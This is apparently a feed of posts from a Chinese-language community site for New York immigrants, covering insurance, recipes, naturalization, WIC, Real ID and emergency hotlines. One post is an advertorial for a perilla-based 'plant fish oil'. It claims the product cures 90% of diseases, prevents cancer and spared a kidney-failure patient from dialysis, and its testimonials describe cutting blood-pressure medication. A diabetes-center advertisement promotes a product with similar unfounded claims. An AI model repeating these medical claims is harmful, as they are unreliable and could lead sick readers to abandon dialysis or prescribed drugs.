如果没有医疗保险，留学生在美国看病经济压力是比较大的。一般美国的高校都有留学生保险制度，留学生可以在入学时候购买医疗保险，保费一般在每年300-600美元不等。由于在校内买的保险局限比较大，往往只包括一些常规医疗的赔偿，而且赔偿的金额也不会太大。万一在美国患上大病，学校的基本医疗保险无法补偿所有的费用，所以对于有特殊需求的留学生来说，最好到校外购买额外的附加险。

保险计划对比表

2019-12-21 / by happy1 / in 医疗健康, 医疗药品, 律师/移民/金融, 心血管科/心脏内科/痛症, 求医指南, 移民生活, 美国新闻

酸辣汤的家常做法〜超级好喝！

2019-12-06 / by happy1 / in 生活/美食/家居, 美食天地

豆沙月饼的家庭做法

做12个月饼：
月饼模具：4.4常数（125g）

面团：
3/4杯转化糖浆（蜂蜜是一个很好的替代品）
6汤匙花生油
1茶匙碱水
2 1/2杯筛过的中筋面粉

馅料：
2 1/2磅甜豆沙
1/4杯花生油

蛋液：
1个蛋
1汤匙水

Zuò 12 gè yuèbǐng:

2019-12-06 / by happy1 / in 生活/美食/家居, 美食天地

入籍程序：如何成为美国公民

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(网络图片）

（一）入籍资格规定：

1、提出申请时需年满18岁

2、成为永久居民5年以上，或与美国公民结婚获得绿卡3年以上

3、在美国实际居留的时间超过30个月（与美国公民结婚的申请人实际在美国居住18个月以上）

4、在申请所在地居住超过3个月（学生也可在就学所在地申请入籍）

5、良好的品德

6、懂得英文

7、了解美国历史及政府

8、效忠美国宪法

注：如果申请人在提交入籍申请表N-400时年满50岁，持有绿卡20年以上，或年满55岁并持有绿卡15年以上，或年满65岁并持有绿卡20年以上，均不需要考英文测验，申请人需要以自选的语言考公民知识。

有些申请人经医学鉴定，因生理或精神损伤，而无法符合教育规定，可以提出N-648残障豁免医疗证明，以申请豁免考试。

（二）将入籍申请表N-400、申请费及相关证明材料邮寄给美国移民局。

（三）面试

美国移民局官员审核N-400，进行入籍考试。若申请人未通过考试的任何部分，仍有第二次机会重考没通过的部分。

（四）入籍宣誓仪式

N-400被批准后，移民局会安排入籍仪式，以宣誓效忠美国。申请人必须宣誓效忠美国后，才算正式入籍成为美国公民。入籍仪式当天会核发公民证书，以作为公民的证明。

移民局客户服务中心电话：1-800-375-5283 听障人士请拨打1-800-767-1833

提交入籍申请表N-400有两种方式，一种是登录移民局网站www.uscis.gov提交，另一种是邮寄。纽约州居民如果选择邮局投递，收件地址如下：

USCIS

P.O.Box 660060

Dallas, TX 75266

如选择FedEx,UPS,DHL投递，收件地址如下：

USCIS

Attn: N-400

2501 S State Hwy 121 Business

Suite 400

Lewisville, TX 75067

2019-12-05 / by davidhorgan479 / in 其它, 律师/移民/金融, 移民生活, 美国新闻

在纽约如何申请奶票（WIC)

(网络图片）

妇婴幼儿特殊营养补充计划(WIC)是美国农业部的食物援助计划，全名是Special Supplemental Nutrition Program for Women, Infants, and Children, 简称WIC，俗称奶票、奶粉钱。

申请对象：低收入的孕妇、产妇（至产后六周）或喂母乳的妇女（至宝宝满一岁）及五岁以下小孩。

身分要求：申请WIC并不需要申请人是公民或绿卡身分，只要能证明居住在此地，有合法居留的身分就可以申请。

收入要求：收入在联邦贫穷标线(FPL)的185%以下即可申请。未出生的宝宝也算进家庭成员数中。

需要的材料：

1、收入证明

2、符合WIC服务范围的证明：妇女怀孕证明、小孩的出生证明

3、带照片的ID

4、住址证明，如水电费账单等

如何申请：

1、到WIC官方网站https://www.fns.usda.gov/wic进行预先筛选，确认是否符合申请条件。符合条件者打印出筛选结果，带着此结果参加审批面谈。

2、拨打WIC健康成长热线1-800-522-5006，找到离你最近的地方WIC机构，预约面谈时间。

3、届时参加面谈，符合条件者面谈结束即可获得食物券。

史丹顿岛儿科/华人儿科医生/718-980-6688/幸福儿科史丹顿岛分诊所

2019-12-05 / by davidhorgan479 / in 其它, 律师/移民/金融, 移民生活, 美国新闻

美式芝麻鸡～美国人最爱的中国菜！

今天跟你分享的是美式中餐芝麻鸡。它是美国其中一道最受欢迎的 #美式中餐之一，它的口感酥脆，味道甜美，还加上了芝麻的香味。看了这个影片之后呢，我保证你不用再跑去外卖店里买了，因为这个食谱不仅仅一学就会，而且比外面的好吃太多了！

2019-12-05 / by happy1 / in 生活/美食/家居, 美食天地

酥脆虾肉春卷～好吃又好做！

春卷是中国名间流传的小吃。在立春当天人们会吃春卷，也叫咬春，象征着财富和身体健康。当今春卷很普遍，所以想什么时候吃，就什么时候吃！

2019-12-05 / by happy1 / in 生活/美食/家居, 美食天地

电饭锅炒饭食谱～方便简单快速的创意炒饭！太厉害啦！

你知道炒饭可以用电饭锅做吗？这个食谱对于忙碌的人，没有炉子的人，和住在宿舍里的学生来说，真的是一个完美的食谱。

2019-12-05 / by happy1 / in 生活/美食/家居, 美食天地

菲律宾经典国菜醋烧鸡~超级滑嫩可口！

菲律宾经典国菜醋烧鸡~超级滑嫩可口！
Adobo 鸡或醋烧鸡，是菲律宾人最爱的菜肴之一。菲律宾人热爱它倒，甚至把它称为菲律宾的经典国菜。那这个西班牙和菲律宾的醋烧鸡又是什么关系？它们有什么不同呢？接下来就让我慢慢告诉你。

2019-12-05 / by happy1 / in 生活/美食/家居, 美食天地

日式牛肉乌冬汤面

乌冬面是一种日本面条，它由小麦制成。据说是从中国唐朝传入日本，而变成了今天的乌冬面。这种面条，是我女儿和我最喜欢的面条之一。今天跟你分享的是我们家人最爱的乌冬面的做法，牛肉乌冬汤面。它也将成为你家人的最爱！

2019-12-05 / by happy1 / in 生活/美食/家居, 美食天地

广式脆皮烧鸭做法

广式烧鸭是一道传统粤菜。成菜色泽金红，滋味醇厚，入口即离，具有皮脆，肉嫩，骨香，肥而不腻的特点。

2019-12-05 / by happy1 / in 生活/美食/家居, 美食天地

酱油鸡的好吃又简单做法

2019-12-05 / by happy1 / in 生活/美食/家居, 美食天地

“真实驾照“您听说过吗? 纽约人赶快去换驾照

何为“真实驾照”？纽约人2020年10月前一定要去申请

真实驾照模板（图片来源：DMV网站）

笔者在今年（2019年）7月带朋友去西点军校参观，却因为其中几位朋友的驾照或身份证不合格（这些驾照的右上角写有“非联邦用途”字样），被告知要买票坐旅游车才可入内（笔者之前几次参观西点军校，都是很顺利就自己开车进去了，证件上从来都不是问题，中国护照、美国驾照、美国身份证都可以作为有效身份证件）。笔者第一次听说了“真实驾照”、“真实身份证”这些名词。

在外观上看，“真实驾照”、“真实身份证”，是在驾照或身份证的右上角，有一颗星。

911事件以后，美国于2005年通过了《真实身份证法案》Real ID Act，旨在采用统一标准，建立证件的最低安全标准。国土安全局随后推出了真实身份证样本。这是一种标准卡，既可以当作驾照，也可以作为联邦认可的身份证。

纽约州车管局DMV从2017年10月30日开始，可以申请和发行REAL ID，申请者必须到DMV去办理，现在更换的人数并不多。 2020年10月1日之后，如果你还没有更换真实身份证Real ID或是持有有效护照、护照卡或军事证件，将不能乘坐美国国内的航班，也不可以进入联邦设施和军事基地。

如何更换真实驾照？

第一步，与当地车管局办公室DMV预约；

第二步，准备各种证明文件：

1、身份证明：出生证明，护照，工作许可文件，永久居民卡，或持有I-94批准表格的外国护照核证复印件；

2、社会安全号码的证明：如社会安全卡，W-2表，或载有社会安全号的工资单；

3、纽约州居住证明：如租赁或租约协议，抵押贷款账单，水电费账单，或就业丶医疗或学校文件；

4、其他文件：姓名更改文件原件或核证复印件，如结婚证书或离婚法令。

第三步，携带资料到DMV办理。

大约2周后，将收到新的Real ID。

纽约州Real ID网站介绍：https://dmv.ny.gov/driver-license/federal-real-id

2019-11-17 / 1 Comment / by davidhorgan479 / in SAT/ACT, 其它, 到美必看, 律师/移民/金融, 留学/教育/求职, 移民生活, 美国新闻

为什么吃足植物鱼油 90%病自己就会好？

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为什么吃足植物鱼油 90%病自己就会好？

中国人吃油是一把好手，但鱼油吃得少。从现代人的饮食生活看来，人们摄取Omega-3（欧米伽3）的比例失衡，所以严重缺乏Omega-3，是导致三高（高血压/高血脂/高血糖）、失智、癌症及慢性病的主要原因。脂肪酸摄取失去平衡，让血管老化速度加快，百病上身。

人体从20岁开始，血液「垃圾」便开始沉积在血管中，最终把血管变成一个巨大的「垃圾」场一样；暗红黏稠的血液使血管如同河床渐渐抬升，迫使血压上升。血液「垃圾」沉积在血管壁，使血管失去弹性，变得又脆又硬；一些脱落的斑块形成血栓，像不定时炸弹一样在血管中游荡。当血液「垃圾」沉积到一定程度时，就会造成人体代谢功能低下，导致三高等病症，进而引发像心脏供血不足、脑梗塞、脑血栓、脑出血等心脑血管疾病。

另外，如果孕产妇体内缺乏Omega-3，那么宝宝则会有脑发育迟缓、智力受损、机体发育缓慢、视力不好、皮肤粗糙等症状。所以有意识的摄取Omega-3，平衡体内脂肪酸，搭配适当运动，也就成为让百病消退的好方法。

1993年世界卫生组织（WHO）和联合国粮农组织（FAO）发表联合声明，鉴于Omega-3/α-亚麻酸的重要性和人类普遍缺乏的现状，决定在世界范围内专项推广Omega-3/α-亚麻酸。并且建议怀孕期至哺乳期的妇女，每日应摄取200mg的Omega-3/DHA，满足宝宝的发育所需。

上世纪80年代「鱼油热」已兴起。随着科学家对鱼油的研究进一步深入，鱼油的营养保健价值已经广泛被人们所了解。著名科学家、国际Omega-3研究学会主席、哈佛大学教授康景轩博士说，认可鱼油是认可Omega-3。如果确保每天吃足Omega-3，使血液循环正常，90%的病自己就会好！能使身体年轻20岁！

面对市场上眼花缭乱的鱼油产品以及真真假假的代购，如何选择呢？专家指出，选择鱼油首先看纯度，即鱼油中的有效成分Omega-3的含量百分比。正规保健品包装上都会详细标注Omega-3的含量及每粒胶囊的凈含量。一般来说，Omega-3纯度越高的鱼油，吸收效率越高，安全性也更高。

为什么要选择植物鱼油？

1）Omega-3含量高

普通鱼油是从鱼的脂肪中提取，有深海鱼和普通鱼两种，普通的淡水鱼含Omega-3只有5%，用深海优质鱼提取的Omega-3含量也只有20-30%。

植物鱼油Omega-3含量在60%以上，远高于深海鱼油。是从紫苏子中压榨的，物理方法生产。紫苏子是目前所知世界上Omega-3类α-亚麻酸含量最高的天然植物。

2）无污染、无胆固醇

海洋污染造成重金属等有毒物质聚集，环境不良等问题。重金属与油脂亲和力更强，而且无法分离，鱼类和普通鱼油已经不再是理想的Omega-3来源。不仅如此，鱼类含有大量胆固醇，是患有糖尿病、高血压等疾病的人们应当避免的。

普瑞堂植物鱼油是从韩国南部黄梅山麓出产的紫苏子和马齿苋提取，该地区禁止使用化肥和农药，完全无污染。同时紫苏子有抗过敏作用，并且不含有胆固醇，是提取Omega-3的最佳材料。另外，深海鱼油中无法去除的杂脂肪，在植物鱼油中都不存在。

3）味道清香、老少皆宜

普通鱼油取自鱼的脂肪，一般鱼的脂肪要收集到一起才能加工，因此鱼的脂肪在收集、储运过程中，由于不能及时加工，容易变腥臭，虽然后期加工过程中能够把杂质去掉，但味道还是比较难闻，对鱼油过敏的人也不能吃。

普瑞堂植物鱼油是从紫苏子和马齿笕这两种植物提取，没有深海鱼油的腥味，反而味道清香，老少皆宜。

紫苏子油更是被日本和韩国的人们作为预防老年痴呆和心脑血管疾病的良药，据说日本人的寿命高，就与日本人吃鱼多和使用紫苏子油比较多有关，在日本超市，紫苏子油确实也是比较常见的健康用油，品种比橄榄油还要多。

紫苏子本身就是天然草药，有预防肺癌、乳腺癌、前列腺癌等各种癌症，防止皮肤老化，降低血管内的胆固醇，改善动脉硬化，预防便秘等功效。

马齿笕又叫长命草、长寿菜，有强心、抗肿瘤、祛瘀血等效果，经常服用就能健康长寿。其Omega-3含量在绿叶类植物中占首位，尤其是马齿苋中还含有大量抗肿瘤物质。

普瑞堂植物鱼油的特点

一）全球首创以韩国出产的紫苏子和马齿苋为原料，采用专利技术低温（无氧化）物理提取Omega-3。完整保留紫苏子和马齿苋抗癌、防癌、抑制高血压，抗过敏性疾病等天然药性；

二）原材料纯天然，无污染，不含任何农药，化肥，更不含重金属，放射性物质；

三）高纯度：Omega-3含量高达61~63%，完全不含中性脂肪，功效更强大。

四）没有深海鱼油的腥味，味道清香，男女老少，脾胃虚弱和对鱼油过敏的人都适合服用。

普瑞堂植物鱼油是获得大韩民国KFDA、美国FDA、日本厚生省和欧盟EFSA认证的专利产品。其功效简单概括就是三个作用：「抗癌，血管清道夫，脑黄金」。

1）抗癌、防癌、提高身体免疫力，消除或减轻过敏反应，包括花粉过敏。

2）血管清道夫：
Omega-3/EPA可以清理血管中的垃圾——胆固醇、甘油三酯，预防动脉硬化，凈化血管，调节血脂血压，改善血液循环；它们还能够调节血小板而发挥抗血栓作用，降低心脑血管疾病发病的机率。

3）长智力，护视力：
Omega-3/DHA被称为「脑黄金」，是神经系统细胞生长及维持的一种主要元素，也是大脑和视网膜的重要成分，在人体大脑皮层中含量高达20%，在眼睛视网膜中所占比例最大，约50%，对胎婴儿智力和视力发育至关重要。对维持脑功能和推迟脑衰老及防治老年性痴呆也起重要作用。

普瑞堂植物鱼油味道好，Omega-3含量高，适应人群广。不仅适合中老年人群服用，也适合孕妇及儿童服用，能促进胎儿和儿童大脑及视力发育，让孩子更聪明，更健康，视力更好，头发更黝黑。

普瑞堂植物鱼油效果见证：

黄女士（54岁）：

身体检查时，确诊是肾脏衰竭。遵医嘱，吃了一年的药但没改善。医院决定做透析，询问医生，医生说要做移植手术。听了朋友建议后决定在没开始透析之前尝试吃普瑞堂植物鱼油。除了医院开的药，吃的只有植物鱼油。

吃了一个月普瑞堂植物鱼油，去医院检查，医院说不需要做透析了。药的服用量也减到一半，本来血压高，现在降低了很多。看到血压降低这么多，医生甚至于问我是否在减肥。之前小便有困难，现在小便正常。本来有头晕的症状，现在症状完全消失。腿抽筋的现象也消失了。血液循环本来不太好，现在好多了。以前全身有点浮肿，现在连手和脸上的浮肿都消失了。以前手脚发麻，晚上睡不了整觉。现在手脚发麻的症状消失了，夜里睡得很安稳，血压也降回正常了。

朴女士（58岁）：

我在医院体检时，被告知血压高。之后每天都要吃两粒降压药才行，在吃普瑞堂植物鱼油后，血压比以前下降了，于是降压药减量到每天一粒就好。所以到现在我还一直在吃普瑞堂鱼油。

安女士（55岁）：

我因为手脚发麻，晚上也睡不好觉，很痛苦。吃了一个月左右的普瑞堂植物鱼油之后，手脚发麻的症状就消失了。晚上也能睡好觉了，舒舒服服的。

纽约曼哈顿施女士（85岁）：

我血压高几十年了，整天头晕。服用西医开的降压药都降不下来。听人家讲鱼油能降血压，我就在Costco 买深海鱼油服用，可是服用了二十多年没有任何感觉，就像没吃一样。五年前开始经常头痛，服用很多药都无效。2016年底在报纸上看到普瑞堂植物鱼油，服用两瓶后我的头就不晕了、不痛了，血压也恢复正常了。

纽约周女士（57岁）：

我在多年前就开始脚关节痛，不容易出汗。服用很多中、西药都没有什么效果。2016年底开始尝试普瑞堂植物鱼油。两瓶之后，我的脚关节不痛了，也容易出汗了。皮肤开始变得光滑，气色好心情也好了。

纽约布鲁克林马女士的先生（75岁）：

我先生长期咳嗽，很是辛苦，服用很多西药都没有什么明显效果。2016年底我在报纸上看到普瑞堂植物鱼油，买了三瓶给先生吃，发现他的咳嗽明显减少，这个效果挺让我和先生感到意外，真没想到「普瑞堂」植物鱼油效果这么好！

纽约郭女士的母亲（91岁）：

我妈妈年龄大了，有很多的老年人健康问题。最明显的就是近几年来精神越来越差，记忆力明显不如从前，讲话颠三倒四，思路混乱。经常是妈妈讲了半天累得够呛，晚辈们也没搞清楚她要说什么。自从给妈妈服用普瑞堂植物鱼油后，妈妈的精神越来越好，讲话有条理，表达也清楚，和晚辈们沟通也融洽了。

纽约郭先生（72岁）：

我经常会腿抽筋，特别是晚上常常会因为腿抽筋疼醒。腿抽筋是很辛苦的，发作一次好多天过去了腿都还疼。2016年底开始服用普瑞堂植物鱼油，之后没有再出现腿抽筋的现象。我可以安稳的一觉睡到天亮了。睡眠好了精神也好，整个人都感觉很舒服，气色也好了。

新泽西刘先生（86岁）：

我是老中医师，可是却无法医治自己的老年性皮肤干痒的问题，每天冲凉好几次也不行，尤其到冬天皮肤痒的更厉害，搞得我寝食难安，真是太辛苦了。我太太有老年性视物不清的问题，总觉得眼前有什么东西似的，看东西有一种隔着一层纱的感觉，特别难受。2016年底女儿在报纸上看到普瑞堂植物鱼油就买给我和太太服用，服用两、三瓶后，困扰我多年的老年性皮肤干痒得到了根本的缓解，太太视物不清的现象竟然消失了。我们老夫妻心里感念女儿的孝顺，更感谢普瑞堂植物鱼油的神奇效果！

咨询订购热线:888-753-1771
网站:www.puritang.com

2019-11-16 / by happy1 / in 中医/养生/保健, 医疗健康, 居家生活, 汽车/房产/保险, 生活/美食/家居, 肠胃科/儿科/家庭医生

打511电话寻求出行帮助

511出行资讯服务系统

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道路救援示意图（网络图片）

美国是一个车轮上的国家。在出行之前想了解路况信息，或在行驶过程中出现意外需要救援，都可以拨打511电话。

511电话可以给您提供以下帮助：

一、道路救援

1、帮助更换爆掉的轮胎。

2、如果水箱漏水，可以帮忙加满水。

3、简单修补水管，使其不致于漏得太快，保证能开到安全的地方。

4、为没油的车免费加1加仑的汽油。

5、将无法开动的车拖至安全地带。

二、了解路况咨询，如某路段拥堵情况、道路施工资讯等。

三、公共交通资讯，可以根据语音提示获取某一城市的公共交通资讯丶运营者情况及电话，还包括票价丶轮渡时刻表丶失物招领丶残疾人出行资讯等。

四、天气资讯，包括天气状况丶雨雪丶路面结冰等。

五、预警资讯，如发布橙色预警，拨打511的使用者在进入服务专案之前可以听到预警资讯。

六、出行资讯，与旅游服务网站丶航空公司等相连，可以提供旅游相关资讯，有的州还会提供音乐会丶节假日等活动资讯。

另外，511系统还可以为听力障碍和非英语使用者提供资讯服务。

2019-11-15 / by davidhorgan479 / in 律师/移民/金融, 移民生活

纽约人最喜爱的热线电话311

311电话能解决哪些事

在美国，人们遇到火灾、车祸等紧急情况都知道可以拨打911，那么遇到不太紧急又需要政府帮助才能解决的问题该打哪个电话呢？

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在大部分美国城市，人们无论遇到什么情况都可以拨打311电话。他们可以提出任何问题——垃圾怎么分类、下雪天学校何时停课、纽约是否遭受另一次恐怖袭击，他们也可以投诉任何事情——路面有坑、街灯坏了、邻居开派对太吵、某餐馆卫生条件不达标等等。

311电话的诞生

1996年10月，马里兰州巴尔的摩市在全美率先开通311热线，专门处理非紧急政务问题。这次试点很成功，芝加哥、达拉斯等城市相继跟进。如今美国已经有300多个地区建立了311热线服务中心，提供非紧急政务咨询，回答食品安全、停车收费、下水道维修等各种五花八门的3600多项服务问题。

311电话可以帮到哪些人

美国是移民国家，在纽约和芝加哥这类人员来自五湖四海的国际化大都市，311能为市民提供超过170 种语言的热线服务。这是如何实现的呢？

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纽约、芝加哥的呼叫中心是这么做的：311热线的客服能够提供英语和西班牙语服务，但每个一线客服都被培训能听懂超过几十种语言的关键词汇，当市民在来电里开始说话后，客服就会根据关键词判断他们使用的语言，然后将自己没法应对的小语种转入二线特殊语言专席，让专业翻译公司的专业语言翻译人员提供服务。

纽约人获得311服务的几种方式

如今随着智能手机的普及，更多的人选择到311网站（NYC.gov/311)解决问题。也可发短信给311-692。

注意：居住在纽约市以外（纽约州的其他城市）请拨打(212) NEW-YORK (212) 639-9675。

2019-11-14 / 1 Comment / by davidhorgan479 / in 律师/移民/金融, 移民生活, 美国新闻

911电话怎么打

在美国，如果自身或他人遭遇火灾、抢劫等情况，人们马上就会想到拨打911电话。那么还有什么其他情况也可以拨打911来寻求帮助呢？在拨打911电话的过程中需要注意哪些事项？下面就为大家做一个简单介绍。

一、遭遇哪些情况可以拨打911求助？

火灾、枪击、食物中毒、犯罪行为（尤其是正在进行的）、入室行窃、抢劫、车祸（尤其是有人员伤亡的）、酒后驾车、需要救护车、心脏病发作、休克等紧急医疗状况。

二、拨打911电话

拨打号码911，电话接通后会听到录音回答，请等待调度员，不要挂机。当有真人出现在电话的另一端和你对话时，如果无法用英语表达，可以告诉对方“I speak Chinese”或“Chinese”，等调度员接通华语翻译。如果这几个英文单词也不会说，那就直接说中文吧，接线员会想办法找懂这种语言的接线员来接电话的。

告诉接线员以下信息：

（一）情况紧急程度

比如有没有人受伤、受伤性质及严重程度、是否需要就医等等。如果自己表达不清可以找周围的人帮忙。

（二）事发地址

调度中心的电脑会显示报案电话号码和地点，但使用移动电话是没法显示地点的，而且报案地点也不一定就是事件发生现场。如果不知道具体的街道地址，可以说明街道名称及附近交叉街道的名称、地标等。在公路上求助，需要强调车辆行驶方向、出口及路名称/号码。

（三）肇事者情况

如果你是目击者或者受害者，在保证自身安全的情况下，可以说明犯罪嫌疑人的情况，样貌、种族、年龄、身高、穿着，是否有武器，其驾驶车辆型号、颜色、车牌号码等。

认真回答接线员和调度员的问题，等待指示。等调度员提示挂断电话时，再挂断电话，不要轻易挂电话。

三、注意事项

（一）在没有911服务的地区内，可拨“0”与接线员联络。

（二）如果误拨911，不要立即挂线，需要告诉调度员实际情况。如果立即挂线，调度员会以为发生事故而派警察到拨打电话的现场。

（三）教孩子学会拨打911电话，应对紧急情况。

（四）记住当地警察局的电话号码，有时比拨打911更快捷。

2019-11-14 / by davidhorgan479 / in 律师/移民/金融, 移民生活, 美国新闻

在纽约遇到紧急情况可以打哪些电话

当你身处纽约市的茫茫人海中，遭遇了紧急情况又不知如何处理时，别着急，下面的这些电话号码可能会帮到你。

政府热线：311
紧急救援：911
纽约警察局总机：646-610-5000
纽约消防局总机：212-999-2222
制止犯罪专线(英文） 888-57-TIPS
反对恐怖主义专线：888-NYC-SAFE
性犯罪报告专线：212-267-RAPE
家庭暴力专线：800-621-HOPE
受虐妇女专线：800-942-6906
受虐儿童专线：800-342-3720
离家出走专线：212-966-8000
危机干预专线：212-219-5599
全国失踪或被拐卖儿童救援中心：800-843-5678
阻止枪击犯罪：866-GUN-STOP
有组织犯罪控制局：888-374-DRUG
预防自杀专线：212-673-3000
有毒物控制中心：212-764-7667
帮助成瘾者热线：
毒品成瘾者匿名拨打：212-929-7117
喝酒成瘾者匿名拨打：212-647-1680
赌博成瘾者匿名拨打：877-664-2469
精神健康指导热线：212-995-5824
纽约市电话公司热线：
Con Edison: 800-75-CON-ED
Verison: 212-890-1550
时代华纳公司（Time Warnar Cable):212-674-9100
申请电和煤气停供：800-342-3355
纽约市供暖热线：311
纽约市交通热线：
纽约地铁/巴士车专线：800-Metro-Info
纽约地铁/巴士失物招领：212-712-4500
纽新航港局巴士信息：212-564-8484
纽新航港局机场信息：
肯尼迪机场：718-244-4444
纽瓦克机场：973-961-6000
拉瓜迪机场：718-533-3400
Amtrak火车( Pen Station): 800-872-7245
长岛火车（Pen Station): 718-217-5477
Metro-North(Grand Central Station):212-532-4900
去新泽西（Pen Station): 800-772-2222
纽约水上交通：800-53-FERRY
史丹顿岛渡船：212-NEW-YORK
出租车：311或212-NYC-TAXI
邮局：800-275-8777
公共图书馆：212-340-0849
动物庇护所：212-722-3620
纽约时间和温度：２１２－９７６－１６１６

2019-11-14 / by davidhorgan479 / in 律师/移民/金融, 移民生活

这是最好的治疗偏方：远离“甜蜜杀手”，回归健康生活！

纽约/美国/糖尿病治疗/糖尿病偏方/糖尿病食疗/糖尿病症状/糖尿病饮食/糖尿病运动习惯/糖尿病药物治疗/糖尿病低碳饮食

随着人们生活条件的好转和物质的极大丰富，糖尿病的发病率越来越高。人一到中年，糖尿病、高血压、肿瘤成为健康的三大威胁。

2018年3月30日，美国国家疾控中心CDC在其主办的期刊《发病率和死亡率周报》(Morbidity and Mortality Weekly Report)上发表了美国成年人患糖尿病的最新数据，迄今尚有2300多万美国人正在与这一血糖疾病进行着斗争。

糖尿病本身并不可怕，可怕的是其带来的诸多并发症，糖尿病患者血液中过高浓度的糖对血管会造成损害，更容易诱发动脉粥样硬化，所以常会引起全身各器官的并发症，损伤心脏的血管会引发冠心病；损伤肾脏血管会引起糖尿病肾病；此外还有糖尿病视网膜病变、周围神经病变等，严重者还会因细胞长期得不到足够的糖分和血糖过高导致足部溃疡、感染等，即糖尿病足，糖尿病足患者最后出现坏疽而不得不截肢的也不在少数。

作为一个健康的人很难理解糖尿病患者的痛苦，让我们听听他们的声音：

【我是如何一步步走向失明的】

我叫张XX，现年62岁，农村人。 10年前因身体不舒服，在医院做检查的时候，被查出患有糖尿病了。医生叮嘱我讲，妳的血糖值偏高，要按时用药，饮食一定要注意，少吃多餐。特别是要戒烟，酒最好也不喝，定期到医院复查等等。但是刚开始患上糖尿病并没有什么感觉，再说，也没有那么多闲钱。后来只是把医院开的药吃完以后，也就没有去再意这件事了。

一直这样，差不多持续了两三年吧，身体也不痛不痒的。儿子有时候会劝我说糖尿病挺可怕的，让我多注意身体。我说也就那样，我还不是该吃吃，该喝喝，身体不一样挺好的，没什么大碍。可是，到了差不多第4年的时候，眼睛看东西有点模糊了，看星星的时候有点重影。心想，估计真是上年纪了，老花眼都来了。

哪知道这居然是糖尿病引起的，压根就没想过糖尿病居然会导致眼睛失明。到了后来眼睛越来越看不清了，没办法，只能去医院了，医生看了后说已经太晚了。

视网膜病变是不可逆的，我真的非常的后悔没有早点注意起来，如果能够听医生的，注意饮食，保持一个好的生活习惯，定期检查，结果一定会不一样。

看了张老汉的故事，不禁令人感到惋惜。在这个世界上的各个角落，或许每天都在上演着一样的悲剧。如果他们能多懂一些糖尿病知识注意饮食，坚持运动，配合治疗。相信一定会有更多人摆脱糖尿病病魔，所以为了让更多的人了解到糖尿病的危害，帮助更多的糖友走出糖尿病，我们在纽约成立了糖尿病患者治疗中心。

纽约治疗中心地址：美国纽约法拉盛飞越皇后大楼5楼A室

电话：718-866-2269

首先，我们先来了解一下自己的身体，看看自己是否有患糖尿病的风险。

近日是感觉嗓子发干、饮水多却口干、小便增多吗？

身体本来肥胖，餐后3～4小时即感到饥饿、心慌、手抖、乏力吗？

皮肤疖肿层出不穷，化脓性感染久治不愈，局部药物治疗效果不佳吗？

全身性皮肤发痒吗？尤其是女性，有阴部瘙痒难忍吗？

原患的肺结核突然恶化，用药效果不明显吗？

肩部、手足麻木吗？有下肢脉管炎、足部溃疡感染和组织坏死吗？

年纪轻轻就有白内障，视力迅速减退吗？

尿中有蛋白，身体浮肿，甚至出现尿毒症了吗？

父母或兄弟姐妹中有糖尿病患者吗？

常有空腹饥饿感吗？

什么也没干，身体也觉得疲倦吗？

以上各问中，凡回答“是”者，说明有患糖尿病的可能；“是”越多，糖尿病症状越明显，应到医院做进一步诊断。

如果确诊了糖尿病，也不要过于惊慌

我们将会从以下几个方面给予患者帮助

●饮食习惯

●运动习惯

●药物治疗

【低碳水饮食法】

众所周知，糖尿病患者的饮食非常关键。戒糖、低碳成了热点话题。对于一直存在争议的“糖尿病患者是否适合低碳饮食”我们今天就来为您揭晓。

01

低碳饮食的3大好处，糖尿病患者值得拥有！

密歇根大学Laura Saslow教授

一般而言，低碳饮食是指碳水化合物占总热量的26%-45%，极低碳饮食则为碳水化合物占总热量的26%以下。

据Laura Saslow介绍，2019最新版ADA糖尿病指南在低碳饮食方面已经有所更新，并指出低碳饮食或为2型糖尿病患者的可行方案。

近年来，在众多糖尿病饮食模式的研究当中，低碳/极低碳饮食的进展给我们带来了不少好消息。
降低血糖和胰岛素水平：患者采用极低碳饮食2周后，糖化血红蛋白（HbA1c）从7.3%下降至6.8%，同时胰岛素水平也有明显下降。

减少药物使用及治疗成本：一项研究纳入21例患者观察16周发现，极低碳饮食可帮助降低血糖（HbA1c：7.4%→6.3%），使33%、50%的患者停用或减少降糖药物的应用（图2）；另一项为期12个月的研究纳入262例患者也收获了HbA1c下降1.3%，57%降糖药物停用的结果；此外还有研究评估了极低碳饮食与低脂饮食加上减肥药降低患者血糖及用药的效果，其数据显示极低碳饮食组HbA1c降低0.7%，用药减少71%。

而低脂饮食加减肥药反而使HbA1c增加了0.2%，用药减少则为30%。减重降压、改善血脂等其他获益：相关Meta分析显示，低碳饮食可使患者体重下降7.0kg（95% CI：-7.2，-6.9），收缩压和舒张压分别下降4.8（95% CI：-5.3，-4.3）和3.1（95% CI：-3.5，-2.7）；此外还能增加高密度脂蛋白胆固醇 (HDL-C)、降低低密度脂蛋白胆固醇 (LDL-C)和甘油三酯（TG）水平，减少体内IL-6、IL-8、TNF-α、MCP-1等炎症介质的释放

02 糖尿病低碳饮食仍需谨慎，这些问题不容忽视！

低碳水饮食确实能给糖尿病患者带来许多好处，但是也有一定要注意的几点。 “如果一味地追求低碳，可能会带来另外一个问题，也就是酮症的发生”。

碳水化合物是能量的主要来源，当摄入减少时机体会开始燃烧脂肪，而酮体是在脂肪分解过程中所产生的代谢产物。
由于糖尿病患者本身属于已胰岛素抵抗，这种情况下更容易发生酮症，若酮症进一步加重则会导致酮症酸中毒，严重危害患者健康。

“我认为极低碳饮食可能比较适合肥胖及代谢综合征的患者，建议糖尿病患者适度低碳，维持在26%-45%的水平即可”。
结论：低碳饮食对于肥胖及糖尿病患者短期使用具有一定的治疗效果，但也存在相应的风险，必须根据专业人士指导，如果关于低碳饮食有困惑的，也可联系我们咨询辅导。

【糖尿病人必不可少的运动】

体育锻炼是糖尿病控制的三驾马车之一，作用不容忽视。

对于糖尿病人，能多动就多动，每一步带来的都是健康！

上升运动强度的问题，中等强度的走动就比站和慢慢走路对健康人的收益大多了。当然，对黄色方块和红色方块代表的人群来说，哪怕是站一站，也是好的。

发生这种状况其实也不难理解，因为本身超重/肥胖和血糖异常者比正常人更容易受到“久坐不动”的伤害！在这个情况下，稍有一些改变，就能带来收益。

而如果平时就很喜欢体育锻炼，而且身体情况很好，那么妳抵抗久坐伤害的能力也更强，要想获益也需要更激烈一点的活动。

当然，糖尿病患者也可以预约或者致电我们康复中心，我们会有专业的医师为各位作答，给患者制定合理的饮食运动计划。

【维胰建——糖尿病人的新生】

糖尿病蛋白尿尿液改变
1.尿液中泡沫减少或者消失；2.尿色浑浊有异味；3、尿液的粘滞性减少；4、有男性糖尿病患者反映，在连续服用一个月左右，性功能有显著改善。

